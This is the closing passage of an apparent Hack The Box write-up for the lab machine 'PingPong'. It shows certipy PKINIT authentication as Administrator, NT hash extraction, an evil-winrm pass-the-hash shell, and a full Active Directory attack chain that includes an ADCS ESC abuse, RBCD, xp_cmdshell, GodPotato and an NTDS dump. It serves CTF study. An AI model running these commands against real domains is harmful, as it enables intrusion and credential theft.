-----BEGIN RSA PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC66PMvGDdGN4BA...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGHTCCBQWgAwIBAgITHAAAABci94yU2ZTvvgACAAAAFzANBgkqhkiG9w0BAQsF...
-----END CERTIFICATE-----
Key findings:
- Certify v2 properly emits the Security Extension SID
- Cert UPN is
Administrator@ping.htb, SID extension matches RID 500 — strong mapping satisfied
Step 21 — PKINIT as Administrator
Why: Convert the PEM cert+key to a PFX, then use certipy auth to perform PKINIT. The DC validates: SAN UPN matches user, Security Extension SID matches user object SID — both pass, TGT issued with full Administrator PAC.
# Reconstruct PFX from base64 blob
base64 -d admin_v2.b64 > admin_v2_raw.pfx
openssl asn1parse -inform DER -in admin_v2_raw.pfx -out admin_v2.pfx
# PKINIT auth
unset KRB5CCNAME
certipy-ad auth -pfx admin_v2.pfx \\
-dc-ip 10.129.37.85 \\
-domain ping.htb \\
-username administrator
Output:
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@ping.htb'
[*] Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Using principal: 'administrator@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@ping.htb': aad3b435b51404eeaad3b435b51404ee:<REDACTED>
Key findings:
- Administrator NT hash:
<REDACTED> - PKINIT succeeded — strong mapping satisfied via SID extension
Step 22 — Domain Admin Shell + Root Flag
Why: With Administrator's NT hash, evil-winrm via PtH (Pass-the-Hash works for Administrator since it has the inverse policy carve-out — or via Kerberos with the cached TGT).
evil-winrm -i 10.129.37.85 -u administrator -H <REDACTED>
Output:
*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> whoami
ping\\administrator
*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> type ..\\Desktop\\root.txt
<REDACTED>
🏴 BOX PWNED — DOMAIN ADMIN ON ping.htb ACHIEVED
Full Attack Chain
c.roberts (AssumedBreach)
└─ TGT via Kerberos (NTLM disabled)
└─ ADCS ESC13: TemporaryWinRM template → cert + auth
└─ PAC injection: TempWinRMAccess group
└─ evil-winrm shell on DC1 (ping.htb)
└─ Recon: Hyper-V → 192.168.2.0/24 internal net
└─ Ligolo-ng pivot via DC1
└─ MIT kinit cross-realm → pong.htb reachable
└─ DACL:WRITE on pong\\gMSA Managers
└─ bloodyAD genericAll → FSP auto-created
└─ Group scope ladder:
Global → Universal → Domain Local
└─ Cross-domain member added
└─ Pong_gMSA$ NT/AES key dumped
└─ JEA endpoint as Pong_gMSA$
└─ ConsoleHost_history → c.carlssen creds
└─ evil-winrm DC2 🚩 user.txt
└─ GenericWrite on svc_sql
└─ RBCD: Pong_gMSA$ → svc_sql
└─ S4U2Self+S4U2Proxy as c.adam
└─ MSSQL xp_cmdshell as svc_sql
└─ GodPotato → SYSTEM on DC2
└─ ntdsutil NTDS dump
└─ R.Martinelli AES256
└─ Pre-cache cross-realm SPNs (kvno)
└─ ESC4: WriteDacl on SmartcardAuthentication
└─ msPKI-Certificate-Name-Flag=1 (ESC1-ify)
└─ grant_enroll.py: FullControl for c.roberts
└─ Certify v2 (z3rodol) --sid extension
└─ certipy auth → Administrator NT hash
└─ evil-winrm PtH 🏴 root.txt
🏴 DOMAIN ADMIN
Key Takeaways
The defining novelty of PingPong is the Global → Universal → Domain Local group scope ladder for cross-domain membership injection — exploiting WriteDacl on a target group across a forest trust by walking through AD's group scope transition rules. Combined with the ESC4 → ESC1 escalation requiring Certify v2 for proper Security Extension SID emission (a consequence of post-2022 strong certificate mapping enforcement), this box demonstrates current-generation cross-domain forest attack techniques against fully-hardened AD deployments with NTLM disabled and ms-DS-MachineAccountQuota=0.
© 0xNRG — PingPong pwned — 2026-04-28

Writeup restricted
This machine is currently active. The full writeup will be published once the box retires, in accordance with HTB's NDA policy.